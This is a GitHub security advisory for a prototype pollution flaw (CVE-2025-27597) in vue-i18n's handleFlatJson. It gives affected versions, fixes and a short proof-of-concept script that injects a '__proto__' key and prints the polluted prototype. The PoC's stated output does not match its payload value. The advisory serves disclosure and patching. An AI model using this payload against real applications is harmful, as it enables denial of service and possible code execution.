GitHub Advisoryadvisory · npm

GHSA-p2ph-7g93-hw3m Vue I18n Allows Prototype Pollution in `handleFlatJson`

HIGH Published 2025-03-07 Modified 2026-08-25 Official page ↗
Aliases
CVE-2025-27597
Ecosystem
npm
Packages
@intlify/message-resolver, @intlify/vue-i18n-core, petite-vue-i18n, vue-i18n, @intlify/core-base, @intlify/core
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-1321
Reviewed
2025-03-07

Affected packages

• npm @intlify/message-resolver: >= 9.1.0, < 9.1.11 → fixed in 9.1.11 • npm @intlify/vue-i18n-core: >= 9.2.0, < 9.14.3 → fixed in 9.14.3 • npm petite-vue-i18n: >= 10.0.0, < 10.0.6 → fixed in 10.0.6 • npm vue-i18n: >= 9.1.0, < 9.14.3 → fixed in 9.14.3 • npm @intlify/core-base: >= 9.1.0, < 9.1.11 → fixed in 9.1.11 • npm @intlify/core: >= 9.1.0, < 9.1.11 → fixed in 9.1.11 • npm @intlify/vue-i18n-core: >= 10.0.0-alpha.1, < 10.0.6 → fixed in 10.0.6 • npm @intlify/vue-i18n-core: >= 11.0.0-beta.0, < 11.1.2 → fixed in 11.1.2 • npm petite-vue-i18n: >= 11.0.0-beta.0, < 11.1.2 → fixed in 11.1.2 • npm vue-i18n: >= 10.0.0-alpha.1, < 10.0.6 → fixed in 10.0.6 • npm vue-i18n: >= 11.0.0-beta.0, < 11.1.2 → fixed in 11.1.2

Description

Vulnerability type: Prototype Pollution Vulnerability Location(s): ```js v9.1 node_modules/@intlify/message-resolver/index.js v9.2 or later node_modules/@intlify/vue-i18n-core/index.js ``` Description: The latest version of `@intlify/message-resolver (9.1)` and `@intlify/vue-i18n-core (9.2 or later)`, (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) `handleFlatJson`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. PoC: ```bash // install the package with the latest version ~$ npm install @intlify/[email protected] // run the script mentioned below ~$ node poc.js //The expected output (if the code still vulnerable) is below. // Note that the output may slightly differs from function to another. Before Attack: {} After Attack: {"pollutedKey":123} ``` ```js // poc.js (async () => { const lib = await import('@intlify/message-resolver'); var someObj = {} console.log("Before Attack: ", JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" }) } catch (e) { } console.log("After Attack: ", JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })(); ```

Related

Alias · CVE (1)

  • CVE-2025-27597 Vue I18n is the internationalization plugin for Vue.js. vulnerability

Weakness · CWE (1)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness

References